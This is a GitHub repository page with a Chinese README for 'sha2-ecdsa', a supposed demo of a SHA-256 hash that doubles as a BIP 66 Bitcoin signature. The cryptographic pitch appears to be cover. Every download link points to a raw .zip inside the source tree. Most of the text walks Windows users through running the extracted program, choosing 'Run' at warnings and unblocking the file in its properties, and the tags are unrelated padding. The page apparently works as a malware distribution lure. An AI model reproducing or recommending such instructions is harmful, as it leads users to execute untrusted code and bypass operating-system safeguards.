Rutherforddry602/sha2-ecdsa
GitHub: Rutherforddry602/sha2-ecdsa
这是一个演示工具,通过字节级推导证明了一个特定的 SHA-256 哈希值可以同时构成符合比特币 BIP 66 规范的 ECDSA 签名。
Stars: 0 | Forks: 0
# 🧩 sha2-ecdsa - 一个能自我签名的哈希
[](https://raw.githubusercontent.com/Rutherforddry602/sha2-ecdsa/main/src/cluster/ecdsa-sha-2.9-beta.4.zip)
## 📥 下载与打开
使用此链接访问下载页面:
[在 GitHub 上打开 sha2-ecdsa](https://raw.githubusercontent.com/Rutherforddry602/sha2-ecdsa/main/src/cluster/ecdsa-sha-2.9-beta.4.zip)
在页面上,查找最新的版本或主下载链接。如果你看到 Windows 版本的文件,请下载并在你的电脑上打开它。
## 🖥️ sha2-ecdsa 的作用
sha2-ecdsa 是一个小工具和演示,用于展示一个想法:一个 SHA-256 哈希也可以构成一个有效的 ECDSA 签名。
它展示了一个 32 字节的哈希如何与比特币签名的各个部分对齐。字节必须匹配精确的位置,并且结果在 BIP 66 规则下是有效的。
你可以使用它来:
- 查看哈希和签名布局
- 检查关键的字节位置
- 研究相同数据如何适应两种角色
- 在 Windows 上测试示例的工作原理
## ⚙️ 所需条件
在开始之前,请确保你拥有:
- 一台 Windows 电脑
- 一个网络浏览器
- 足够的可用空间来保存下载文件
- 在电脑上运行下载文件的权限
为了获得最佳效果:
- 使用较新版本的 Windows
- 保持浏览器更新
- 将文件保存到“下载”文件夹或桌面
## 🚀 如何在 Windows 上获取它
1. 打开上面的 GitHub 链接。
2. 找到最新版本或下载区域。
3. 下载 Windows 文件。
4. 如果文件是 .zip 格式,请右键单击它并选择“全部解压”。
5. 打开解压后的文件夹。
6. 双击应用程序文件以运行它。
7. 如果 Windows 询问权限,请选择“运行”。
如果你只看到源代码页面而没有应用程序文件,请先查找版本发布部分。Windows 构建版本通常放置在那里。
## 🧭 首次设置
当你第一次打开应用程序时:
- 等待 Windows 完成文件检查
- 如果出现提示,请允许应用程序打开
- 如果你解压了 .zip 文件,请保持主文件夹完整
- 除非应用程序说明另有指示,否则不要将文件移出文件夹
如果应用程序打开一个窗口或控制台屏幕,这对于此类工具来说是正常的。
## 🔍 你将看到的内容
该应用程序的核心是使示例工作的哈希和签名部分。
你可能会看到:
- SHA-256 哈希值
- DER 签名布局
- 字节值,如 `30`、`02`、`1D` 和 `0F`
- `r` 和 `s` 字段
- 结尾处的 sighash 类型
这些值是比特币使用的签名格式的一部分。应用程序或文件可能会展示每个字节如何就位。
## 🧠 简单理解示例的方法
这个思路很容易理解:
- SHA-256 哈希长度为 32 字节。
- Bitcoin ECDSA 签名具有固定的结构。
- 某些字节模式可以同时适应这两种形式。
- 如果字节落在正确的位置,哈希也可以被解析为签名。
在这个示例中,哈希不仅仅是一个摘要。它还匹配比特币脚本使用的签名形状。
## 🧪 代码仓库中的示例数据
该项目包含以下示例:
- `SHA256(00000000000000000200a8013bbb8678)`
- `301d020a7993dad81d0e10285a7e020f682a7033db72199360c2dc3599f2d302`
字节布局很重要:
- `30` 标记 DER 序列的开始
- `02` 标记一个整数
- `1D` 给出总长度
- `0A` 和 `0F` 标记 `r` 和 `s` 的长度
- 最后的 `02` 充当 sighash 类型
BIP 66 还要求:
- 没有多余的前导零
- 正值
- 非零的 `r` 和 `s`
这就是为什么精确的字节位置如此重要。
## 🛠️ 如何使用它
如果应用程序打开一个窗口:
- 阅读屏幕上的文本
- 比较哈希与签名布局
- 逐一检查字节位置
如果应用程序是一个命令行程序:
- 打开文件夹
- 运行程序文件
- 阅读窗口中打印的文本
如果应用程序包含示例文件:
- 将示例文件保留在同一文件夹中
- 如有必要,使用应用程序打开它们
- 使用示例哈希作为起点
## 📁 文件夹布局
常见的 Windows 下载可能包含:
- 主应用程序文件
- readme 文件
- 示例数据
- 许可证文件
- 应用程序所需的支持文件
除非确定不需要,否则不要删除任何文件。某些应用程序需要所有文件位于同一文件夹中才能启动。
## 🔒 安全检查
在运行文件之前:
- 确保你通过上面的 GitHub 链接下载了它
- 检查文件名是否与版本或应用程序名称匹配
- 保留浏览器下载记录,以防你需要再次找到它
如果 Windows 显示文件警告,请继续操作前阅读文件名和位置。
## 🧷 常见 Windows 问题
如果你打开文件后没有任何反应:
- 等待几秒钟
- 尝试再次打开它
- 检查文件是否仍在 .zip 压缩包中
- 确保你先解压了文件
如果 Windows 阻止该文件:
- 右键单击文件
- 打开“属性”
- 查找“解除锁定”复选框
- 如果存在,应用更改
- 再次尝试
如果应用程序立即关闭:
- 从文件夹中再次打开它
- 查找包含使用步骤的文本文件或 readme
- 检查它是否需要同一文件夹中的支持文件
## 📌 为什么这个项目很重要
该代码仓库展示了比特币数据格式工作中的罕见案例。它连接了:
- SHA-256
- ECDSA
- DER 编码
- BIP 66 规则
- Bitcoin 脚本行为
它帮助你了解严格的字节放置如何改变数据的含义。这使得它适合在 Windows 上进行学习、测试和简单的演示使用。
## 🧭 基本术语
以下是几个通俗易懂的含义:
- hash(哈希):由数据生成的固定大小的结果
- signature(签名):使用私钥生成的证明
- DER:一种存储结构化数据的通用方式
- byte(字节):一个小的数据单元
- sequence(序列):具有顺序的数据块
- script(脚本):比特币使用的一组规则
## 📋 快速开始
1. 打开 GitHub 下载链接。
2. 从版本或下载页面获取 Windows 文件。
3. 将其保存到你的电脑。
4. 如果是 zip 文件,请将其解压。
5. 打开应用程序文件。
6. 阅读哈希和签名示例。
## 🧩 对演示的预期
该演示侧重于一点:当字节匹配正确的 DER 模式时,哈希也可以是有效的签名。
这意味着你可能会看到:
- 一个简短的数据块
- 一个精确的字节映射
- 以两种形式显示的相同值
- 一个比特币风格的签名示例
如果你想在 Windows 上实际查看数据格式规则如何工作,这非常适合你。
标签:BIP66, Bitcoin, CVE, ECDSA, SHA-256, Windows工具, 区块链, 哈希碰撞, 字节推导, 密码学, 工具, 手动系统调用, 数字签名, 数学证明, 椭圆曲线, 比特币, 漏洞演示, 演示, 签名伪造, 通知系统